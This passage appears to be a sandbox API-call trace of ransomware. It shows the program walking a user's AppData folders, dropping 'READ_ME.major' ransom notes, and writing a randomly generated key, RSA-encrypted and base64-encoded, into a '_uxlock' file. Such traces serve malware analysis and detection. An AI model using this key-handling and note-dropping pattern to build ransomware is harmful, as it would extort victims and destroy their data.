(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0169.445] WriteFile (in: hFile=0x768, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.446] CloseHandle (hObject=0x768) returned 1 [0169.446] FindNextFileW (in: hFindFile=0x654560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.446] FindNextFileW (in: hFindFile=0x654560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.446] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6545a0 [0169.446] FindNextFileW (in: hFindFile=0x6545a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x6545a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf56c97e4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", cAlternateFileName="{91BE5~1")) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x6545a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd01171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd01171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x6545a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd01171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd01171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.447] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", dwFileAttributes=0x80) returned 1 [0169.448] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\.{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c [0169.448] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0169.448] ReadFile (in: hFile=0x76c, lpBuffer=0x59d1a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0169.448] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.448] WriteFile (in: hFile=0x76c, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0169.448] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0169.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.448] WriteFile (in: hFile=0x76c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ghguqa0qTrLI1OPC08cf19bqjnKHwa3UGjuEU3VM53pPpjMztoc+wGfkNH8Ia2SS\nZ5W3pIdi2mNtF5d09I1toNB2hPgrPa+ZvW0RNSmyX57iSN72Gapf3AspnuS7d4n2\n/SAASzJ0H8sXmMQhhJ4zL4nooikTYDLAQVs0EH73rv6vkAZGtx37eUScprtEMbRU\nLSJ7kpcLtgJvCfhMkwBVPW2UyBgS111OJgtqxvKYK6JGio383ZVCIlVLXlINykLV\nr75F5hkbmkln1gFpGCMkBK0R+QSCjkDOoPlIJFIOXDn9E/p3+ylNDRBc4nFadb5i\nQpTBOC2AOFVS0FSzR81mBA==\n", pcchString=0x2e3f9a8) returned 1 [0169.450] WriteFile (in: hFile=0x76c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.450] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.450] WriteFile (in: hFile=0x76c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.450] CloseHandle (hObject=0x76c) returned 1 [0169.454] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6545e0 [0169.454] FindNextFileW (in: hFindFile=0x6545e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x6545e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd01171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd01171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x6545e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd01171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd01171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd01171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.455] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd25703, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6546a0 [0169.455] FindNextFileW (in: hFindFile=0x6546a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd25703, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x6546a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0169.455] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0169.455] WriteFile (in: hFile=0x774, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.456] CloseHandle (hObject=0x774) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x6546a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0169.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0169.457] WriteFile (in: hFile=0x774, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.458] CloseHandle (hObject=0x774) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x6546a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd25703, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd25703, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd25703, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x6546a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd25703, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd25703, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd25703, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.458] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654820 [0169.458] FindNextFileW (in: hFindFile=0x654820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x654820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd4b91b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd4b91b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x654820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd4b91b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd4b91b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.458] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653fa0 [0169.458] FindNextFileW (in: hFindFile=0x653fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x653fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Java", cAlternateFileName="")) returned 1 [0169.459] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c [0169.459] WriteFile (in: hFile=0x77c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.460] CloseHandle (hObject=0x77c) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x653fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd4b91b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd4b91b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x653fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bd4b91b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd4b91b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd4b91b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.460] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd71b4d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ba0 [0169.460] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd71b4d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0169.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.461] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.461] CloseHandle (hObject=0x780) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0169.462] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.463] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.464] CloseHandle (hObject=0x780) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 